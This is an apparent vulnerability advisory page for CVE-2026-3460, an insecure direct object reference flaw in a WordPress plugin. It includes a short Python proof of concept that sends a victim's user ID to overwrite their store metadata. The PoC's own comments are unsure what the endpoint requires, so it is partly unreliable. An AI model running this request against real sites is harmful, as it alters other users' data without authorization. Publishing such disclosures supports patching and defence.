Security Vulnerability Report
中文
CVE-2026-3460 CVSS 5.3 MEDIUM

CVE-2026-3460

Published: 2026-03-21 04:17:24
Last Modified: 2026-04-24 16:27:44

Description

The REST API TO MiniProgram plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.2. This is due to the permission callback (update_user_wechatshop_info_permissions_check) only validating that the supplied 'openid' parameter corresponds to an existing WordPress user, while the callback function (update_user_wechatshop_info) uses a separate, attacker-controlled 'userid' parameter to determine which user's metadata gets modified, with no verification that the 'openid' and 'userid' belong to the same user. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary users' store-related metadata (storeinfo, storeappid, storename) via the 'userid' REST API parameter.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

REST API TO MiniProgram <= 5.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Needs to be replaced with actual endpoint) target_url = "http://target-site/wp-json/ram-weixin/v1/update_user_wechatshop_info" # Attacker controlled parameters # 'openid': A valid openid (or any value if PR:N is strictly true) # 'userid': The ID of the victim user to modify payload = { "openid": "valid_or_dummy_openid", "userid": "2", # Target User ID to modify "storeinfo": "Malicious Store Info", "storeappid": "hacked_appid", "storename": "Hacked Store Name" } # Send the request try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3460", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:23.620", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The REST API TO MiniProgram plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 5.1.2. This is due to the permission callback (update_user_wechatshop_info_permissions_check) only validating that the supplied 'openid' parameter corresponds to an existing WordPress user, while the callback function (update_user_wechatshop_info) uses a separate, attacker-controlled 'userid' parameter to determine which user's metadata gets modified, with no verification that the 'openid' and 'userid' belong to the same user. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary users' store-related metadata (storeinfo, storeappid, storename) via the 'userid' REST API parameter."}, {"lang": "es", "value": "El plugin REST API TO MiniProgram para WordPress es vulnerable a la Referencia Directa Insegura a Objetos en todas las versiones hasta la 5.1.2, inclusive. Esto se debe a que la función de devolución de llamada de permisos (update_user_wechatshop_info_permissions_check) solo valida que el parámetro 'openid' proporcionado corresponde a un usuario de WordPress existente, mientras que la función de devolución de llamada (update_user_wechatshop_info) utiliza un parámetro 'userid' separado y controlado por el atacante para determinar qué metadatos de usuario se modifican, sin verificar que 'openid' y 'userid' pertenezcan al mismo usuario. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, modifiquen metadatos relacionados con la tienda de usuarios arbitrarios (storeinfo, storeappid, storename) a través del parámetro 'userid' de la API REST."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/5.1.2/includes/api/ram-rest-weixin-controller.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/5.1.2/includes/api/ram-rest-weixin-controller.php#L309", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/tags/5.1.2/includes/api/ram-rest-weixin-controller.php#L924", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/trunk/includes/api/ram-rest-weixin-controller.php#L216", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/trunk/includes/api/ram-rest-weixin-controller.php#L309", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/rest-api-to-miniprogram/trunk/includes/api/ram-rest-weixin-controller.php#L924", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7129d8cf-6b7d-4b7b-bd6a-85176247ab29?source=cve", "source": "[email protected]"}]}}